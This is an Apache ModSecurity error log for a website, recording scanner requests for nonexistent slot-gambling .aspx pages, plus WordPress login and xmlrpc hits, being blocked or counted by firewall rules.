[Wed Apr 22 21:10:31.713164 2026] [:error] [pid 6250:tid 6275] [client 54.37.252.119:40442] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aejIxw-iZeQkqmQVfj4SqQAAAFU"]
[Wed Apr 22 21:10:34.147728 2026] [:error] [pid 6384:tid 6405] [client 54.37.252.119:40456] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aejIyj58M3t15ICeWHVFJAAAANI"]
[Wed Apr 22 21:10:36.732991 2026] [:error] [pid 9085:tid 9100] [client 54.37.252.119:57656] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aejIzN-_-or9vQnlWnp3NAAAAU0"]
[Wed Apr 22 21:10:39.405752 2026] [:error] [pid 6384:tid 6395] [client 54.37.252.119:57670] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aejIzz58M3t15ICeWHVFLQAAAMg"]
[Wed Apr 22 21:10:41.929111 2026] [:error] [pid 23776:tid 23784] [client 54.37.252.119:57684] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aejI0bRExf-1pAbSeJv23AAAAYY"]
[Wed Apr 22 21:10:44.538668 2026] [:error] [pid 6384:tid 6395] [client 54.37.252.119:57700] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aejI1D58M3t15ICeWHVFRwAAAMg"]
[Wed Apr 22 21:10:46.965864 2026] [:error] [pid 6384:tid 6408] [client 54.37.252.119:56898] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aejI1j58M3t15ICeWHVFSQAAANU"]
[Wed Apr 22 21:45:14.927427 2026] [:error] [pid 9085:tid 9104] [client 43.130.125.193:60522] [client 43.130.125.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aejQ6t-_-or9vQnlWnqZZwAAAVE"]
[Thu Apr 23 00:46:35.156870 2026] [:error] [pid 9085:tid 9110] [client 43.133.91.48:44978] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aej7a9-_-or9vQnlWnoOhAAAAVc"]
[Thu Apr 23 01:18:25.107048 2026] [:error] [pid 6252:tid 6315] [client 147.93.157.194:49264] [client 147.93.157.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.93.157.194, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aekC4etGYuiYb1nWBpR-egAAAQM"]
[Thu Apr 23 02:16:45.878501 2026] [:error] [pid 6344:tid 6364] [client 102.0.13.148:43322] [client 102.0.13.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.0.13.148, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aekQjUDOTF-pkQnDeUlHWAAAAA8"]
[Thu Apr 23 03:14:22.283887 2026] [:error] [pid 40297:tid 40354] [client 146.59.70.139:57304] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.59.70.139, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aekeDiBQ2BiDXifuwRwPawAAAIA"]
[Thu Apr 23 05:25:01.770057 2026] [:error] [pid 43083:tid 43101] [client 35.226.201.219:47744] [client 35.226.201.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aek8rTC5hrvNXosL83KAvAAAANA"]
[Thu Apr 23 05:41:02.099162 2026] [:error] [pid 25635:tid 25650] [client 43.130.139.136:51714] [client 43.130.139.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aelAbsRxv6UsgRGKB3KUHQAAAQs"]
[Thu Apr 23 06:36:19.532850 2026] [:error] [pid 42971:tid 42994] [client 5.135.142.201:59192] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.135.142.201, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aelNYzEP2_5RswrH8bGCvgAAAAg"]
[Thu Apr 23 07:30:53.512624 2026] [:error] [pid 64998:tid 65024] [client 54.37.252.152:55574] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aelaLYV5EysYcTLjmwj-bQAAAdY"]
[Thu Apr 23 07:30:56.063137 2026] [:error] [pid 43083:tid 43088] [client 54.37.252.152:44254] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aelaMDC5hrvNXosL83LUHgAAAMM"]
[Thu Apr 23 07:30:58.572530 2026] [:error] [pid 43083:tid 43088] [client 54.37.252.152:44258] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aelaMjC5hrvNXosL83LUNgAAAMM"]
[Thu Apr 23 07:31:01.143963 2026] [:error] [pid 65000:tid 65049] [client 54.37.252.152:44262] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aelaNb6vRb9j6psK2ZajLAAAAhA"]
[Thu Apr 23 07:31:03.586223 2026] [:error] [pid 42972:tid 43019] [client 54.37.252.152:54134] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aelaN8OAb-3sOknsk4cmyQAAAEM"]
[Thu Apr 23 07:31:06.342821 2026] [:error] [pid 43083:tid 43099] [client 54.37.252.152:54144] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aelaOjC5hrvNXosL83LUgAAAAM4"]
[Thu Apr 23 07:31:08.961488 2026] [:error] [pid 43083:tid 43109] [client 54.37.252.152:54146] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aelaPDC5hrvNXosL83LUpAAAANg"]
[Thu Apr 23 07:31:11.507015 2026] [:error] [pid 59700:tid 59712] [client 54.37.252.152:54156] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aelaP5XyGZJFeAIDWtlhRgAAAUo"]
[Thu Apr 23 07:31:14.121558 2026] [:error] [pid 42971:tid 42996] [client 54.37.252.152:39494] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aelaQjEP2_5RswrH8bGxpAAAAAo"]
[Thu Apr 23 07:31:16.752976 2026] [:error] [pid 42973:tid 43043] [client 54.37.252.152:39508] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aelaRG6I0QqmmmLTHE3e5QAAAIA"]
[Thu Apr 23 07:31:19.826576 2026] [:error] [pid 42971:tid 43002] [client 54.37.252.152:39540] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aelaRzEP2_5RswrH8bGxtgAAABA"]
[Thu Apr 23 07:31:22.410690 2026] [:error] [pid 25635:tid 25662] [client 54.37.252.152:49076] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aelaSsRxv6UsgRGKB3LmQwAAARc"]
[Thu Apr 23 07:31:25.035504 2026] [:error] [pid 65000:tid 65040] [client 54.37.252.152:49088] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aelaTb6vRb9j6psK2Zak9AAAAgc"]
[Thu Apr 23 07:31:27.708483 2026] [:error] [pid 64998:tid 65021] [client 54.37.252.152:49092] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aelaT4V5EysYcTLjmwj_4gAAAdM"]
[Thu Apr 23 07:31:30.503661 2026] [:error] [pid 25635:tid 25648] [client 54.37.252.152:49098] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aelaUsRxv6UsgRGKB3LmUQAAAQk"]
[Thu Apr 23 07:31:33.544926 2026] [:error] [pid 42971:tid 43006] [client 54.37.252.152:55284] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aelaVTEP2_5RswrH8bGx8AAAABQ"]
[Thu Apr 23 07:31:36.214556 2026] [:error] [pid 42971:tid 42999] [client 54.37.252.152:55290] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aelaWDEP2_5RswrH8bGyCQAAAA0"]
[Thu Apr 23 07:31:39.058699 2026] [:error] [pid 25635:tid 25660] [client 54.37.252.152:55296] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aelaW8Rxv6UsgRGKB3LmZQAAARU"]
[Thu Apr 23 07:31:41.809784 2026] [:error] [pid 64998:tid 65017] [client 54.37.252.152:45728] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aelaXYV5EysYcTLjmwgAjAAAAc8"]
[Thu Apr 23 07:31:44.268649 2026] [:error] [pid 42972:tid 43033] [client 54.37.252.152:45744] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aelaYMOAb-3sOknsk4cnfwAAAFE"]
[Thu Apr 23 07:32:57.706012 2026] [:error] [pid 59700:tid 59703] [client 54.37.252.152:45748] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aelaqZXyGZJFeAIDWtlkJgAAAUE"]
[Thu Apr 23 07:33:00.199612 2026] [:error] [pid 43083:tid 43086] [client 54.37.252.152:53072] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aelarDC5hrvNXosL83LXywAAAME"]
[Thu Apr 23 07:33:02.779462 2026] [:error] [pid 64998:tid 65008] [client 54.37.252.152:44550] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aelaroV5EysYcTLjmwgFSgAAAcY"]
[Thu Apr 23 07:33:05.282031 2026] [:error] [pid 25635:tid 25650] [client 54.37.252.152:44566] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aelascRxv6UsgRGKB3LnPwAAAQs"]
[Thu Apr 23 07:33:07.612433 2026] [:error] [pid 64998:tid 65023] [client 54.37.252.152:44582] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aelas4V5EysYcTLjmwgFsAAAAdU"]
[Thu Apr 23 07:33:10.294926 2026] [:error] [pid 59700:tid 59722] [client 54.37.252.152:44590] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aelatpXyGZJFeAIDWtlkogAAAVQ"]
[Thu Apr 23 07:33:12.863959 2026] [:error] [pid 42972:tid 43022] [client 54.37.252.152:37992] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aelauMOAb-3sOknsk4copAAAAEY"]
[Thu Apr 23 07:33:15.409498 2026] [:error] [pid 64998:tid 65009] [client 54.37.252.152:37996] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aelau4V5EysYcTLjmwgGWQAAAcc"]
[Thu Apr 23 07:33:17.954446 2026] [:error] [pid 59700:tid 59717] [client 54.37.252.152:38012] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aelavZXyGZJFeAIDWtlk9AAAAU8"]
[Thu Apr 23 07:33:20.485142 2026] [:error] [pid 42971:tid 43005] [client 54.37.252.152:38022] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aelawDEP2_5RswrH8bG1JAAAABM"]
[Thu Apr 23 07:33:22.825462 2026] [:error] [pid 64998:tid 65004] [client 54.37.252.152:55068] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aelawoV5EysYcTLjmwgG3gAAAcI"]
[Thu Apr 23 07:33:25.351583 2026] [:error] [pid 43083:tid 43105] [client 54.37.252.152:55074] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aelaxTC5hrvNXosL83LYnAAAANQ"]
[Thu Apr 23 07:33:27.707611 2026] [:error] [pid 42972:tid 43022] [client 54.37.252.152:55090] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aelax8OAb-3sOknsk4cozwAAAEY"]
[Thu Apr 23 07:33:30.297498 2026] [:error] [pid 64998:tid 65003] [client 54.37.252.152:55096] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aelayoV5EysYcTLjmwgHOwAAAcE"]
[Thu Apr 23 07:33:32.618581 2026] [:error] [pid 64998:tid 65010] [client 54.37.252.152:34480] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aelazIV5EysYcTLjmwgHZQAAAcg"]
[Thu Apr 23 07:33:35.116912 2026] [:error] [pid 59700:tid 59709] [client 54.37.252.152:34484] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aelaz5XyGZJFeAIDWtllwAAAAUc"]
[Thu Apr 23 07:33:37.489788 2026] [:error] [pid 64998:tid 65019] [client 54.37.252.152:34494] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aela0YV5EysYcTLjmwgHpQAAAdE"]
[Thu Apr 23 07:33:39.794602 2026] [:error] [pid 65000:tid 65054] [client 54.37.252.152:34510] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aela076vRb9j6psK2ZasGAAAAhU"]
[Thu Apr 23 07:33:42.293459 2026] [:error] [pid 64967:tid 64990] [client 54.37.252.152:36516] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aela1oAV4GfOOdX8QzoaaQAAAZU"]
